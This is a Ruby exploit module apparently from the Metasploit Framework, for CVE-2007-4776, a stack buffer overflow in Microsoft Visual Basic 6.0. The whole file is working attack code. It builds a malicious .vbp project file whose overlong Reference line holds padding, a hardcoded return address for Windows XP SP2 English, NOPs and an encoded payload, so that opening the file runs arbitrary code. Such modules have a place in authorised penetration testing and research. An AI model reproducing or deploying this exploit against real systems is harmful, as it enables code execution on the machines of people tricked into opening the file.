##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Visual Basic VBP Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Microsoft Visual
        Basic 6.0. When a specially crafted vbp file containing a long
        reference line, an attacker may be able to execute arbitrary
        code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-4776' ],
          [ 'OSVDB', '36936' ],
          [ 'BID', '25629' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'DisableNops'   =>  'True',
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2007-09-04',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.vbp']),
      ])
  end

  def exploit

    sploit =  rand_text_alpha_upper(496) + [target.ret].pack('V')
    sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
    sploit << make_nops(24) + payload.encoded

    vbp =  "Type=Exe\r\n"
    vbp << "Form=Form2.frm\r\n"
    vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
    vbp << sploit + "\r\n"
    vbp << "Startup=\"Form2\"\r\n"
    vbp << "Command32=\"\"\r\n"
    vbp << "Name=\"Project2\"\r\n"
    vbp << "HelpContextID=\"0\"\r\n"
    vbp << "CompatibleMode=\"0\"\r\n"
    vbp << "MajorVer=1\r\n"
    vbp << "MinorVer=0\r\n"
    vbp << "RevisionVer=0\r\n"
    vbp << "AutoIncrementVer=0\r\n"
    vbp << "ServerSupportFiles=0\r\n"
    vbp << "VersionCompanyName=\"\"\r\n"
    vbp << "CompilationType=0\r\n"
    vbp << "OptimizationType=0\r\n"
    vbp << "FavorPentiumPro(tm)=0\r\n"
    vbp << "CodeViewDebugInfo=0\r\n"
    vbp << "NoAliasing=0\r\n"
    vbp << "BoundsCheck=0\r\n"
    vbp << "OverflowCheck=0\r\n"
    vbp << "FlPointCheck=0\r\n"
    vbp << "FDIVCheck=0\r\n"
    vbp << "UnroundedFP=0\r\n"
    vbp << "StartMode=0\r\n"
    vbp << "Unattended=0\r\n"
    vbp << "Retained=0\r\n"
    vbp << "ThreadPerObject=0\r\n"
    vbp << "MaxNumberOfThreads=1\r\n"
    vbp << "[MS Transaction Server]\r\n"
    vbp << "AutoRefresh=1\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(vbp)

  end
end
